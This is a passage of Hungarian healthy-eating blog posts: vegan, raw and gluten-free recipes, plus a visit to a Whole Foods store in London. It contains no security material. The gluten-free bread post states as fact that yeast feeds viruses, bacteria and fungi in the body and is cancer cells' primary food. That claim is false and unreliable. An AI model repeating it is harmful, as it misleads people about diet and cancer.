1 gerezd fokhagyma - 3-4 db érett paradicsom - 1 db zöld paprika ( nem erős ) - reszelt sajt ( vegánoknak elhagyható ) - chili opcionálisan - só, bors, őrölt kömény ízlés szerint - friss petrezselyem - friss bazsalikom levelek - 10-15 szem fekete olivabogyó ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A kölest megfőzöm a háromszoros mennyiségű vízben és hagyom kihűlni. A padlizsánokat félbe vágom és kanál segítségével kiszedem a belsejüket. Igyekezzünk ezt úgy csinálni, hogy egy centi vastag kéreg maradjon belül. Vékonyan kikenjük őket olívaolajjal és picit megsózzuk. Egy serpenyőben kókuszzsíron pirítjuk az apróra vágott hagymát. Utána rádobjuk a szintén apróra vágott paprikát, valamint a padlizsán belső részét felaprítva és rányomjuk a gerezd fokhagymát is. A paradicsomok héját lehúzzuk ( ha szükséges forró vízbe dobjuk őket, így könnyedén lejön nekik ) legutolsónak adjuk a lecsóhoz. Fűszerként ízlésünknek megfelelően sót, őrölt köményt ( ... római kömény és koriander hozzáadásával kicsit shakshukás lesz ;-) ... ) a végén pedig frissen őrölt fekete borsot használhatunk. A lecsós ragut összekeverjük a főtt kölessel, a karikákra vágott fekete olívabogyóval és a padlizsánokba töltjük. Előmelegített sütőbe 35-40 percig sütjük és a sütés befejezése előtt megszórjuk reszelt sajttal a padlizsán csónakok tetejét. Friss apróra vágott petrezselyemmel és bazsalikomlevelekkel tálaljuk. Könnyed nyári vacsora vagy vendégváró falat.
Túl a hatodik blogszületésnapon erdélyiektől tanult nem aludttej ízű aludttejes gombóccal :)
Ha Siccike nem ír az övéről, talán el is feledkezem róla. Ez az időszak nem éppen a blogolásról szólt. Kerti munkák voltak, aztán itthon nyílászáró cserék, meg kőművesmunka, rettentő mennyiségű takarítással egybekötve. Még ha olyan csodálatos előnyökkel is jár, hogy nem fúj be télen a jeges szél a gyerekszobában az ablakon, nagyon utálatos tud lenni a mérhetetlen mennyiségű por és piszok. Már ugyan látom a végét, és nagyon jó, hogy végre bizonyos ablakok is kitárulhatnak. Jöhet be a friss levegő, a szúnyog meg kinn marad. :) Sütés-főzés azért volt, meg néha csak ettem a másét, vagy "vajaskenyeret". A karatetábori beszámolót még tervezem kajaügyileg, mert megér egy bejegyzést. Több nyers készült, saláták, levesek. Az aludttejes gombóc meg pl. azért, mert Anyuék háztól hordják a tejet, és az egyik alkalommal túl sok maradt. Anya továbbképzésen volt, mi meg szabadon garázdálkodtunk Ábellel dédipapa őrzés címén a házban. ;) Így hát kiöntöttem a tejet egy négyliteres lábasba, kitettem a délutáni napra, másnap reggelre szépen megaludt. Ezt a fajta gombócot Matildtól tanultam, ő meg otthonról hozta a receptet. Mondjuk az utóbbi 5 évben egyszer csináltam... Az aludttejet nem szeretem, de szerencsére ebben az ételben nem érezni az ízét, csak olyan kellemes túró jellegű lesz, de nem száraz, pont ezért jó. Persze nem mindegy milyen a tej, honnan származik. Hozzávalók: Kb. 30 közepes gombóc 2 l aludtej 40 dkg tönkölybúzadara 30 csepp sztívia vaníliapor 1 csipet só tk zsemlemorzsa 1 tk kókuszzsír Az aludtejet a sóval, vaníliával, sztíviával feltesszük forrni. Amikor felfőtt, belekeverjük a búzadarát, és jó pár percig kavargatva főzzük, amíg a szemek meg nem dagadnak. Ha kevergetés közben túl hígnak éreznénk az ételt, 10 dkg-mal több grízt keverhetünk bele. Nekem most a 40 dkg-mal kicsit lágyabb lett, de nem bántam, mert így puha és könnyű volt a gombóc. Amíg hűl, kicsit megpirítjuk a zsemlemorzsát. Először szárazon, majd hozzákeverjük a zsiradékot, és el is zárhatjuk a gázt. Amikor meghűlt a grízünk, vizes kézzel gombócokat formázunk, és megforgatjuk a zsemlemorzsába. Tradicionálisan tejföllel és cukorral fogyasztják, de nagyon finom valamilyen idénygyümölcsből készült öntettel, vagy lekvárral. Vegán változatát készíthetjük tofuval, vagy a hamis túrógombóc nagyon finom kölesből is.
Esküvői torta "nyers" /Raw wedding cake
2014. augusztus 5. Nyers konyha
Barátaink esküvőjére készítettem ezt a tortát. Mivel emeletes torta, így most ez nem lett annyira krémes, viszont a sok magtól stabil lett a szerkezete, és még belső megerősítés, rögzítések nélkül is bírta az alsó szint a felsők súlyát. Valahogy nem volt számomra szimpatikus, hogy műanyag rudakkal, vagy valami hasonlóval stabilizáljam . A külső kókuszos krém valami isteni lett, nem kentem olyan vastagon a tortára, így még maradt is belőle 1-2 deciliternyi amit elkanalazgattunk :) A torta belsejébe tett gyümölcskrém variálható a szezonnak megfelelően... Esküvői torta ,, nyers Piskóta: 200 gramm napraforgó 400 gramm kókuszdara 100 gramm lenmag 500 gramm mazsola 6 citrom reszelt héja fahéj 7-8 evőkanál kakaópor 400 gramm mandula néhány evőkanál útifű maghéj ha kell süríteni A kókuszdarát és a lenmagot turmixgéppel lisztesre őröltem. A napraforgót és mandulát s -késes robotgéppel aprítottam. Mazsolát beáztattam, a vizét leöntöttem és a reszelt citromhéjjal turmixoltam. A magokat elkevertem a fahéjjal és kakaóporral, majd megédesítettem a turmixolt mazsolával. Ha jól dolgoztunk a massza szépen összeáll, összeragad. Ha túl nedves, lehet süríteni útifű maghéjjal vagy kókusszal. Érdemes megkóstolni elég édes-e, kell-e még hozzá fahéj vagy kakaópor ? Ha készen vagyunk csatos formákba nyomkodjuk úgy, hogy az oldalán is legyen a formának tészta. Erre teszünk gyümölcsöket. Nálam az alsó réteg simán banán volt. Rátettem a banánokat, és villával elnyomkodtam, fahéjjal megszórtam. Erre jött egy réteg ,,piskóta, tehát magos réteg, majd következett a sárgabarackos krém. Ebbe almát aprítottam és sárgabarackot vágtam, málnával megbolondítottam, steviával és vaníliával ízesítettem, útifűmaghéjjal sürítettem. A töltelékre ismét jött a magos rész. Az alsó nagy csatos tortára rátettem a kis csatos formát, majd ismételtem az előbb leírt folyamatot. Erre egy még kisebb torta jött. Krém: 2x 200 gramm kókuszreszelék 12 dl cocomas kókuszkrém 200 gramm kesudió 3 evőkanál kókuszzsír stevia ízlés szerint, vagy egyéb édesítő ami nem színezi el a krémet... A kókuszt turmixgépben liszté őröltem. A kesudiót beáztattam, majd a vizet leöntve róla, a kesudiókat a kókuszkrémmel és kókuszzsírral megturmixoltam. Mindent egy edénybe öntöttem elkevertem és édesítettem. A krémet a tortára kentem, hűtőbe téve szépen megdermedt. Szalaggal és virágokkal díszítettem.
Szilvakrémleves fügével, kesutejszínnel
Mai hideg gyümölcslevesem ez az isteni, fahéjas, habos csoda ;) Hozzávalók: 5-6 szem szilva 1 kk fahéj 1 csipet vaníliapor 1 ek méz 2,5 dl forrásvíz 1 ek napraforgócsíra Összeturmixoljuk, és tálkába öntjük, megszórjuk a csírával, és friss fügével díszítjük. Végül meglocsoltam a kesutejszínnel ;) Kesutejszín: 1 ek kesdió 1 ek kókuszreszelék 1 csipet vaníliapor […]
Körte krémleves
Ma főtt kukorica volt az ebédem, így ez az édeskés finom leves, a második fogás volt ;) Érdemes kipróbálni ;) Hozzávalók a leveshez személyenként: 2 érett körte 1 ek kesudió 1 kk fahéj 1 csipet vanília por 3 dl forrásvíz Tálaláskor: 3 szem magozott, felezett szilva 1 ek csírázott szotyi 2 ek kókusztejszín (recept itt) […]
Őszibarackos chiapuding
2014. július 25. Éltető ételek
Itt az őszibarack szezon... imádom. Egy gyors kakaós puding, hmmm... nagyon finom. A chia mag biztosítja a kellő puding állagot, így még főzni sem kell. Picit kesernyés íze van a barack és a kakaó párosítása miatt, de nekem (és a gyerekeknek is) nagyon ízlett. Kiváló uzsonnára. Hozzávalók (5 adag): 1 kg tisztított/magozott őszibarack 5 dkg mandula áztatva vanília (nekem most kivonatom volt, 15 cseppet tettem hozzá) 3 evőkanál chia mag3 evőkanál kakaópor 1 evőkanál természetes édesítő, pl. datolyapaszta, méz/kókuszvirág cukor Elkészítés: Hát, roppant egyszerű. Mindent tegyünk a turmixba, majd adagoljuk ki pohárkákba. Díszítsük, szórhatunk rá egy kis kókuszreszeléket is.
Gluténmentes, magvas barna kenyér / Továbbá tej,-tojás,-élesztőmentes/
A recept címe a következő is lehetne: A gluténmentes kenyér misztikuma. Ugyanis a gluténmentes kenyér sütésénél nem olyan egyértelműek a dolgok, mint például egy tönköly kenyérnél. Az állagát nem könnyíti meg az sem, hogy nem élesztővel készítjük, mert nem szeretnénk egyik oldalról adni, a másikról pedig elvenni. Ez most azt jelenti, hogy az élesztő nem az egészségünket szolgálja, ugyanis táplálja az egysejtű organizmusokat a szervezetben ( vírusok, baktériumok, gombák), sőt a rákos sejtek elsőszámú tápáléka a cukor mellett. Tehát kihagyjuk, helyette foszfátmentes sütőport vagy szódabikarbónát használunk, lazító “adalék” gyanánt. A gluténmentes sütemények és kenyerek tésztája sosem készül csak egyféle lisztből, mindig több liszt keveréke, ugyanis fontos, hogy kötőanyagot is adjunk hozzá, mert a gluténmentes liszteknek nincsen sikér tartalmuk. Kereskedelmi forgalomba kapható gluténmenets lisztek mindegyike keverék és bármeliyket is választjuk megkönnyítjük a saját dolgunk, mert az összetevők arányát már valakik összerakták, kitalálták helyettünk. Ennél a barna kenyér receptnél a következő lisztkeveréket használtam: Doves farm lisztkeverék. A liszt tartalmaz: rizs, tápoóka, burgonya, szentjánoskenyér lisztet, cukorrépa rostot és xantángumi ( nedvesség kötés miatt lényeges). Hozzávalók: 450 g lisztkeverék maréknyi napraforgó mag maréknyi szezámmag 1 tasak foszfátmentes sütőpor, 2 kk himalaya só 8 evőkanál kókusz olaj 330 ml langyos víz Először a lisztet elkeverjük a magvakkal, sütőporral, sóval, majd hozzáadjuk az olajat, vizet és alaposan összegyúrjuk. Ha szükséges, mert ragad, szórunk hozzá még kevés lisztet. 30 percig letakarva pihentetjük, majd újra átgyúrjuk és cipót formázunk belőle vagy egy hosszú sütőformát kiolajozunk, vagy kibélelünk sütőpapírral és beleegyengetjük a tésztát, tetejét bevágjuk vagy megszúrkáljuk. Előmelegített sütőben 200 C fokon 35-40 percig sütjük. A sütőbe helyezhetünk egy hőálló tálba vizet, hogy kevésbé száradjon ki a kenyerünk. Ne számítsunk laza, könnyű kenyérre, mert csalódni fogunk. Én másnap szeltem vékony szeletekre és enyhén pirítva fogyasztottam.
Fekete, de mégsem - reggelire
Hamarosan beérik a fekete bodza a bokrokon és fákon. Különféle kásákat rendkívül finoman megízesíti. Ajánlom mindazoknak akik az enyhén édes, kissé savanykás ízeket kedvelik.
A recept:
Hozzávalók:
o 1 adag zabpehely (pl. 2 marék vagy 1 bögre)
o víz/növényi tej
o fekete bodza lekvár
o reszelt narancshéj
o édesítő (nyírfacukor vagy kókuszvirág cukor vagy gyümölcscukor, stb)
o fekete ribizke vagy áfonya
Elkészítés:
Ha apró szemű zabpelyhünk van, akkor a lábosban, amiben főzni fogjuk, kicsit megpirítjuk. Épp, amíg illata lesz a pirítástól. Majd felöntjük vízzel. Figyelve és olykor megkeverve addig főzzük, míg a zabpehely jól megpuhul.
Ha nagy szemű zabpehellyel dolgozunk, akkor ugyanígy megpiríthatjuk, de egy éjszakára akár be is áztathatjuk hideg vízbe. Másnap pedig felfőzzük. Az ilyen zabpelyhek több főzési időt igényelnek.
Amikor megfőtt, fekete ribizlit vagy áfonyaszemeket keverünk hozzá.
Tálalásnál fekete bodza lekvárral, kókuszreszelékkel díszítjük a tetejét. (A tányér szélén a zabkását feketeszeder-lekvárral locsoltam meg.)
Málnás szelet
Természetesen az édesség sem maradt ki az ebédből, vele lett komplett ;) Hozzávalók: 1 maréknyi áztatott dió 1 maréknyi áztatott mandula 1 ek áztatott szotyi 2 ek kókuszreszelék 2 ek agavé szirup 1 tk útifű maghéj pici víz, csak épp annyi, hogy krémesre tudja mixelni a gép ;) A magokat a vízzel turmixgépbe tettem, és […]
Mogyorókrémes-marcipános tápiókapuding
2014. július 10. Mindennapi ételeink
Hozzávalók: 10 dkg tápióka gyöngy 3 dl víz 6 dl kókusztej 10 dkg aranybarna nádcukor 1 bio citrom héja 5 dkg marcipán nádcukorral -- karobos mogyorókrém gyümölcsök Elkészítés: A tápiókát egy nagy lábasba tesszük, és felöntjük vízzel, 15 percig állni hagyjuk. Amikor felszívta a vizet, felöntjük a kókusztejjel és közepes hőfokon kavargatva megfőzzük, amíg a gyöngyök puhák, áttetszőek lesznek. Ekkor adjuk hozzá a cukrot, citromhéjat és az apró kockákra vágott marcipánt. Összekeverjük. Rétegezzük mogyorókrémmel és gyümölcsökkel, behűtve tálaljuk. TIPP: a marcipán kihagyható.
Nutellás barackos muffin
Ez a muffin egy ismerősöm receptje alapján készült. Igaz, hogy az körtés volt, és búzaliszttel készült, és csoki sem volt benne. Ez már csak így van. Találok egy receptet, és mire elkészítem, egészen más lesz belőle. De gondolatindítónak kiváló. Az elkészítése során volt egy kis malőr, mert én csokiforgácsot akartam beletenni, amit szépen bele is reszeltem. Csak a forró tejbe! Úgyhogy az szépen elolvadt, így lett belőle a nutella. Na de nem baj, így is finom lett. De legközelebb tényleg csokiforgács kerül bele. Hozzávalók: - 10 dkg teljes kiőrlésű tönköly liszt - 10 dkg zabliszt - 5 dkg mogyoróliszt - 1 tesákanál szódabikarbóna - 1 kávéskanál fahéj - 1 késhegynyi őrölt szegfűszeg - 4 dkg pirított, durvára vágott mogyoró - 4 dkg csokoládé forgács - 2 dl növényi tej - 5 dkg olvasztott vaj/kókuszolaj - 2 evőkanál méz - 20 dkg sárgabarack kis kockára vágva Ugyen, mint minden muffin készítésénél van száraz és nedves hozzávaló. Ezeket külön összekeverjük, majd egybe is összedolgozzuk. Figyeljünk arra, hogy ne keverjük túl. Előmelegített sütőben, 160-180 fokon 30-40 perc alatt készre sütöm.
Zabszelet házilag
2014. július 7. Mindennapi ételeink
Nagyon finom csemege, a fittnok.hu oldalon leltem rá, még régebben. Egy kicsit alakítottam rajta. Hozzávalók: 1 csésze zabpehely 1 csésze barna rizsliszt 2 ek. kókuszzsír 2 ek. méz xilit, ízlés szerint aszalt sárgabarack - ízlés szerint, felkockázva 1 ek. lenmagpehely Elkészítés: A barnarizst malmon megdaráljuk, a lenmagot kávédarálón. Majd a hozzávalókat egy tálba tesszük és összekeverjük. Rudakat formálunk a kezünkkel, és sütőpapírra lapítjuk őket, majd alacsonyabb hőfokon sütjük-szárítjuk.
Banános-zabos palacsinta karobos-juharszirupos öntettel
2014. július 1. Mindennapi ételeink
Egyszerű, gyors és finom. És persze, egészséges :-) Hozzávalók (6 db-hoz): 1,5 közepes palacsinta 20 dkg zabpehely 2 ek. zabpehelyliszt 2-3 tk. fahéj vagy kardamom 2 ek. rizs habspray 4-5 ek. kókuszzsír a sütéshez -- 2 ek. karob 2 tk. juharszirup 2 ek. kókusztejpor Elkészítés: A banánt meghámozzuk, és összetörjük. A zabot, zabpehelylisztet és a habspray-tt hozzáadjuk. Egy serpenyőbe kókuszolajat öntünk és amikor felforrósodott, a masszából lapos korongokat formálunk, beletesszük és kisütjük (egyszer forgassuk). Az öntetet így készítsük el: keverjük össze az alapanyagokat, majd öntsük rá a palacsintákra. Banánszeletekkel, esetleg mogyorókrémmel tálaljuk. TIPP: készítsük rizspehellyel, így gluténmentes finomságot kapunk :-)
Csicseriborós gombás zöldsaláta
2014. június 26. Éltető ételek
Nem tudom, ti hogy vagytok vele, de én nagyon szeretem a csicseriborsót. Könnyen emészthető, itt írtam jótékony hatásairól. Szóval ez az étel akár nyers is lehet , ha csíráztatjuk a borsót. Az meg könnyen megesik, még magától is. Többször jártam már úgy, hogy a borsót beáztattam egy éjszakára, majd leszűrtem és betettem a hűtőben. 2-3 nap múlva már megjelentek a kicsi csírák. Így akár már fogyasztható is! A gombát is lehet nyersen enni, úgyhogy ez egy olyan recept, melyet elkészíthetünk főve vagy akár nyersen is. Hozzávalók (2 főre): - 2 marék csicseriborsó éjszakára beáztatva (akár csíráztatva is) - 5-6 darab gomba Öntet: - 1 avokádó - 1/2 rizstejszín - 3-4 aszalt paradicsom - kevés brokkoli pici rózsáira szedve (nyersen) - 1 kisebb vöröshagyma - 1-2 gerezd fokhagyma - 1-2 tk. mustár - só, bors - citromlé Salátához: - 1/2 fejes saláta vagy jégsaláta - 3-4 kisebb uborka - 2 paradicsom - 1 kisebb vöröshagyma - kevés brokkoli rózsáira szedve (nyersen) - 1 evőkanál balzsamecet - 1 evőkanál olivaolaj - só Elkészítése: - A csicseriborsót főzzük meg sós, babérleveles vízbe. (kb. 1/2 óra) - A gombát tisztítsuk meg, szeleteljük fel. Egy serpenyőbe tegyünk egy kis kókuszolajat, reszeljünk bele egy gerezd fokhagymát. Tegyük hozzá a gombát, pár perc alatt pirítsuk meg. A végén sózzuk, borsozzuk. - Készítsük el az öntetet a megadott alapanyagok alapján. - A salátát is készítsük elő. Az uborkát vékony szeletekre vágjuk, a hagymát és a paradicsomot is. - Keverjük össze az öntetet a kihűlt borsóval és a gombával.Egy tányérba halmozzuk a salátát, tegyük rá a borsós ragut. De akár össze is keverhetjük őket. Bár ebben az esetben célszerű jégsalátát használni, az tovább friss marad.
A mennyország kapujában: Whole Foods Market – London
2014. június 22. Zizi kalandjai
A Whole Foods Market-ról már elég régóta tudok, főleg amerikai blogokat böngészve jutott el hozzám a híre. Az USA-n és Kanadán kívül Angliában van egyedül Európában üzletük (pontosan 9 db, ebből 7 db Londonban). Az út előtt elterveztem, hogy legalább az egyikbe feltétlen el szeretnék menni és ki is szúrtam, hogy a szállásunk és a konferencia helyszíne közelében van egy üzletük. Bíztam benne, hogy egy ilyen kaliberű üzletben biztosan fogunk Ádinak találni jó minőségű vegán ételeket.
Először I. ment el Ádival a Clapham Junction közelében lévő Whole Foods-ba, ahol az üzleten kívül kis kávézó, étkezde is üzemel. A frissen készített zöldség- és gyümölcsleveik Ádi nagy kedvencei lettek. Kiderült, hogy a gyerekeknek mindig jár ingyen gyümölcs, lehetett választani zöldalma, banán és narancs közül (ez mindegyik üzletben működik). Természetesen minden bio, fair trade vagy helyi termelésből származik; fel vannak tüntetve a termékeken, hogy melyek felelnek meg a vegán vagy a gluténmentes, stb. diétának.
Egyik nap a szállásadónk javasolta, hogy menjünk el a Whole Foods legnagyobb üzletébe (amely egyben a világ legnagyobb Whole Foods üzlete!!!), amely a Kensington High Street-en található. Mondta, hogy hegyekben állnak a bio zöldségek, gyümölcsök és meg fogok őrülni a látványtól, mert ez egy valóságos “food porn” hely! Hát igaza lett… úgy tobzódtam, mint egy ötéves kisgyerek a csokoládéboltban. Nem bírtam betelni a látvánnyal… majdnem fel kellett locsolni, mert az ájulás kerülgetett. Nekem egy ilyen hely, tényleg a mennyországot jelenti.
Vigyázat! Fotókban nagyon gazdag bejegyzés következik!
Három emeletes; természetesen van mozgólépcső, lift, így babakocsival is könnyen tudunk közlekedni mindhárom szint között (a legfelső szinten vannak a mellékhelyiségek, pelenkázó). A földszinten található a pékáru, sajtok, húsok, kekszek, savanyúságok, friss saláta bár, friss készétel bár – bármilyen ebédet/vacsorát össze tudsz magadnak gyorsan rakni, akár nyerset, akár vegánt, akár húsosat szeretnél, vagy éppen friss kókuszvizet szeretnél inni, ezenkívül van friss juice bár és kávézó. Hatalmas konyha működhet a háttérben, ahol főzhetnek, süthetnek folyamatosan, hogy a vevőknek MINDEN igénye ki legyen elégítve. Ezenkívül a sajt részleg közelébe tették a borokat (+ egyéb alkohol, italok), és egy kis borbárt is.
Az “alagsorban” található a friss zöldség, gyümölcs részleg, tojás, tejtermékek, a világ összes magja, gabonája, fűszere, olaja megvásárolható itt előre kiadagolva vagy általunk bedobozolva, ahogyan szeretnénk. A legmenőbb, hogy van egy hatalmas robotgépük, amelyikbe berakhatom az általam kiválasztott magot (pisztácia, kesudió, mandula, stb.) és néhány perc alatt elkészíti nekem a magból a vajat. Sőt, ha jól emlékszem, még lisztet is lehet készíteni, darálni, vagyis, ha friss mandulalisztre van szükségünk, akkor azt helyben megcsinálhatjuk. Persze vannak édességek, nasik, konyhai eszközök, bio kozmetikai termékek (van lehetőség kozmetikai kezelésre, masszázsra, manikűrre!!!), gyerek részleg (ruhák, természetes anyagokból készült játékok, stb.), könyvek (roskadásig vegetáriánus, vegán szakácskönyvekkel).
Az első emelet pedig az éttermeké: pizza, tészta, mexikói, japán konyha, salátabár, stb. Igazából itt csak gyorsan körbementünk, de nem is néztük meg tüzetesen, mert mi a piknikezést választottuk, vagyis a földszinten vettünk mindenféle finomságot, amelyet aztán a közelben lévő Kensington Gardens (plusz Kensington Palace) hatalmas parkjában (ez már a Hyde Park egy része) piknikezve fogyasztottunk el.
Ha Londonban jártok, ne hagyjátok ki a Whole Foods Market-ot! Életre szóló élmény lesz, azt garantálom! Már tervezem a következő visszatérést!
Whole Foods Market – Kensington
63-97 Kensington High Street
The Barkers Building
London
W8 5SE
http://www.wholefoodsmarket.com/stores/kensington
Nyitvatartás:
Hétfőtől Szombatig 8am – 10pm (éttermek 30 perccel az üzlet zárása előtt zárnak)
Vasárnap fölszinti rész 11am – 6pm, alagsor 12pm – 6pm, éttermek 10am – 5:30pm
Kásakészítés fortélyai
2014. június 21. Éltető ételek
Én a kásákkal igazából anyósomnál ismerkedtem meg, mivel '56 után Kanadában éltek, és ott rendszeres volt náluk a zabkása. Így a párom is rendszeresen evett kását gyerekkorában. Viszont ette, de nem igazán ízlett neki. Ugyanis anyósom úgy főzte a zabot, hogy enyhén sós vízben sűrűre főzte, tányérba kiszedte és hagyta egy kicsit hűlni. Ez megkeményedett, és (boci)tejet öntöttek mellé. Ha megnézzük ugyanez kukoricából a puliszka is. Visszatérve a kása receptekre, kétféleképpen szoktam kását készíteni. Lágyabbra főzöm (mandula vagy rizstejbe), és fűszerekkel, gyümölccsel, magokkal, aszalványokkal keverem össze.Keményebbre főzöm (vízben), ezt ugyanúgy lehet ízesíteni, de a friss gyümölcsöt csak a tetejére teszem, és mandulatejet vagy más gabonatejet öntök MELLÉ. Nekünk ez a második verzió vált be, ez a kedvenc. Tehát én alapból vízben főzöm a kásákat, teszek bele vaníliát, kókusz, aszalványt, pici sót. Mikor mit. A gabona lehet zab (én frissen pelyhesítettet használok), kukoricadara , köles (megdarálom), rizs (pelyhesítővel ezt is megtöröm darává). Hajdinával és amaránttal még nem próbáltam, de szerintem ezekkel is ugyanúgy működik. Én törekszem arra, hogy a reggeli gluténmentes legyen , de akár búza is lehet. Szóval sűrűre főzöm, a végén teszek hozzá pl. diót. Kiöntöm tányérba, és megcsorgatom mézzel. Itt lehet még reszelni rá csokit, vagy megszórni kókusszal. Egy kicsit hűlni hagyjuk, és mellé öntjük a tejet. Ennyi. A gyerekeim nagyon szeretik.
Zöldséges gombaragu petrezselymes burgonyával
2014. június 21. Éltető ételek
Egy ilyen ragus ételeknél nem kell nagy dologra gondolni. Kedvenc zöldségeinket használva változatossá tehető ez a főétel. Sőt, a köret is variálható, akár rizzsel is elkészíthető. Hozzávalók (2 főre) - 1 csésze darabolt zöldség (én sárgarépát és brokkolit használtam) - 30 dkg gomba - 1 fej hagyma - 3-4 gerezd fokhagyma - 1/2 doboz rizstejszín - 1 evőkanál kókuszolaj - só, bors, zöldségleves-kocka - 1-2 evőkanál zabliszt - 1 kis csokor petrezselyem Köret: - 50 dkg burgonya - 1 csokor petrezselyem - 2-3 evőkanál kókuszolaj Elkészítés: - A hagymát a kókuszolajon dinszteljük meg, reszeljük hozzá a fokhagymát is. - Adjuk hozzá a sárgarépát, majd a feldarabolt gombát, és pirítsuk kb. 5 percig. - Öntsünk rá egy kevés vizet, hogy éppen ellepje. Fűszerezzük. - Tegyük hozzá a brokkolit is. Én ekkor már nem főzöm sokáig, hogy a brokkoli ropogós maradjon. - Habarjuk be a zabliszttel és a rizstejszínnel, és főzzük össze. - A petrezselymet a végén adjuk hozzá, épp csak rottyantsuk össze. A körethez legjobb az újburgonya, melyet csak kefével kell megtisztítani. Sós vízben főzzük meg, de ne teljesen puhára! Tegyünk egy serpenyőbe kókuszolajat, majd pirítsuk meg benne a burgonyát. A végén szórjuk meg a petrezselyemmel. Jó étvágyat!
Kókuszos-csokis mini tortácska
2014. június 19. Éltető ételek
Szeretek ilyen kis tortácskákat készíteni, előnye, hogy nem kell szeletelni. Ez pont egy adag, és elég is ennyi egyszerre. A datolyás csokikrém más torták krémje is lehet, nagyon finom. Hozzávalók: 1.réteg: - 20 dkg áztatott mandula (a héját húzzuk le) - 10 dkg áztatott mazsola - vanília - csipet só Daráljuk meg a mandulát és botmixerezzük a mazsolát. Vigyázzunk, hogy ne legyen lágy a tészta. Amennyiben lágyra sikerült, adjunk hozzá egy kis kókuszreszeléket. 2.réteg: - 15 dkg áztatott datolya - 1/2 avokádó - 2-3 evőkanál kakaópor - 2-3 evőkanál olvasztott kakaóvaj Turmixoljunk. NEM kell hozzá édesítő, a datolya önmagában édes. 3.réteg: - 10 dkg kókuszreszelék - 1/2 banán - kókuszrém - pár csepp narancsolaj A kókuszreszeléket kávédarálón megdaráltam, hogy az olaj egy kissé kicsapódjon. Így krémesebb lesz. Keverjünk hozzá egy kis kókuszkrémet és narancsolajat. Így állítottam össze: Mivel nekem nincs nagy pogácsaszaggatóm, találtam 2 dles műanyag poharat. Kb. félbe vágtam, ezt tettem a tányérra. Belenyomkodtam kiskanállal az első réteget, és így tovább. És kész is. Laktató, egy adag biztosan elég még egy felnőttnek is.
Goffri alma-eper szósszal
A keddi nagy eperlekváros menet után maradt valamennyi nyers gyümölcs is. Terveztem sütit, krémet, turmixot, szószt... Aztán a legtöbb "hammbekaplak" módszerrel jutott egyszerűen a pocakba. Mert úgy a legfinomabb. Az almás változat gofri mellé készült, aminek a tésztájában most több volt a hajdina, mint egyébként, és így is működött. Szerencsére a hugicám őrölt nekem fél kiló hajdinát, amire már nem maradt volna időm, mikor hazajöttünk, így bátran használhattam a tésztába. Hasonló, mint a kókuszos, de se kókusz, se rozs nem volt benne. Majd 1x lemérem pontosan, és posztolom. A szószt nem turmixoltam, mert nem akartam zajongani, egyszerűen összetörtem az epret villával, az almát pedig lereszeltem a gyümölcsreszelőn. Ha valaki teltebb ízt szeretne, kesudiót turmixolhat hozzá, én akkor csak a friss gyümölcs ízre vágytam. Ez se recept, csak ötletadó. Hozzávalók: 20 dkg eper 1 nagyobb alma 1 ek gyümölcscukor / pár csepp sztívia vaníliapor citromfű levél A gyümölcsöket megmossuk, az almát meghámozzuk. Az epret villával összetörjük, az almát lereszeljük, és a kettőt összekeverjük. Hozzáadjuk a gyümölcscukrot és a vaníliát. Candida betegek használjanak nyírfacukrot, vagy sztíviát. Citromfűlevéllel díszítjük.
Brownie trüffel
2014. június 14. Éltető ételek
Na itt van az alap brownie recept. Roppant egyszerű, hamar készen van. Nagggyon finom. Ezt a tálat a kics lányom ovis évzárójára vittem. Elfogyott... Hozzávalók: - 20 dkg áztatott, szárított dió - 5 dkg áztatott mandula - 2-3 evőkanál kakaópor - 20 dkg datolya - vanília - pár csepp narancsolaj - A diót a datolyával és a kakaóporral aprítsuk morzsásra. Majd tegyük hozzá a mandulát is, de ez maradjon kissé nagyobb darabokban. - Készítsünk kis golykat belőle, és forgassuk meg natúr kakaóporban vagy kókuszba. - Tegyük a hűtőbe 1-2 órára.
Brownie-cseresznye álom
2014. június 14. Éltető ételek
A nyers brownie tészta nekem olyan jolly joker. Sok nyers torta, sütemény vagy trüffel alapja. Egy kicsit időigényes az elkészítése, bár hamarabb készen van, mint a sütött társaik. Egy kis előkészültetet igényel, ugyanis ázatott, szárított dióra van szükség. De én mindig nagyobb mennyiségben készítek ilyen diót, így amikor szükség lenne rá, akkor mindig kéznél van. Hozzávalók: Tészta: - 15 dkg áztatott, szárított dió - 10 dkg datolya - 5 dkg áztatott mandula - 2 evőkanál kakaópor - 2 evőkanál méz - 1 evőkanál mandulakrém Cseresznyekrém (persze ez lehet akár meggy, barack málna vagy más kedvenc gyümölcs): - 50 dkg érett cseresznye - 1 evőkanál útifűmaghéj - 1 evőkanál chia mag - vanília, fahéj Csoki a tetejére: - kókuszolaj - méz - kakaópor - A tészta alapanyagaiból késes darálóval készítsünk egy homogén masszát. A mandulát a végén tegyük hozzá, hogy egy kissé darabos maradjon. Ezt a tésztát tegyük egy tál aljára. - A gyümölcsöt magozzuk ki, majd turmixoljuk össze. Tegyük bele a többi hozzávalót is. Kenjük a tésztára. tegyük pár órára a hűtőbe, - Készítsük el a csokit, és simítsuk a gyümölcskrémre. Ez keményre meg fog dermedni. Ahhoz, hogy szeleteléskor ne törjön, még szilárdulás előtt érdemes bevágni a csokit.Jó étvágyat!
Gluténmentes lepény zöldségekkel töltve
2014. június 12. Éltető ételek
A méregtelenítés alatt (meg egyébként is) célszerű a glutén mennyiségét csökkenteni vagy akár el is hagyni. Sajnos a gluténmentes kenyereknek sohasem lesz olyan az íze és az állaga, mint a gluténes társainak (itt nem a boltihoz hasonlítom, hanem a házi készítésű kenyerekhez). Ez a lepény egy gluténmentes zsemle receptje alapján született, amely sülve nekem nem igazán jött be. Hirtelen "felindulásból" kitaláltam, hogy serpenyőben megsütöm, így lepény lett belőle. Az íze önmagában nem nagy szám, viszont sok zöldséggel töltve olyan, mintha "pitát" ennék. Zsófi lányom kedvence, imádja a sok zöldséget benne. Akkor most jöjjön a recept (10 db lepény lesz belőle) - 10 dkg rizsliszt - 10 dkg kukoricaliszt - 10 dkg zabliszt - 1 evőkanál szezámmag - 1 evőkanál arany lenmag (őrölt) - 2 evőkanál apró szemű zabpehely - 2 evőkanál burgonyapehely - 2 evőkanál útifű maghéj - 1 teáskanál oliva olaj - 1 kávéskanál só - 1/2 kávéskanál szódabikarbóna - kb. 3 dl meleg víz - Gyúrjunk belőle egy közepesen lágy masszát, majd hagyjuk állni egy kevés ideig (kb. 10 perc). Kis gombócokat formázzunk, majd lapítsuk ki. - Egy serpenyőbe tegyünk egy kevéske kókuszolajat, majd tegyük bele a kilapított masszát. - 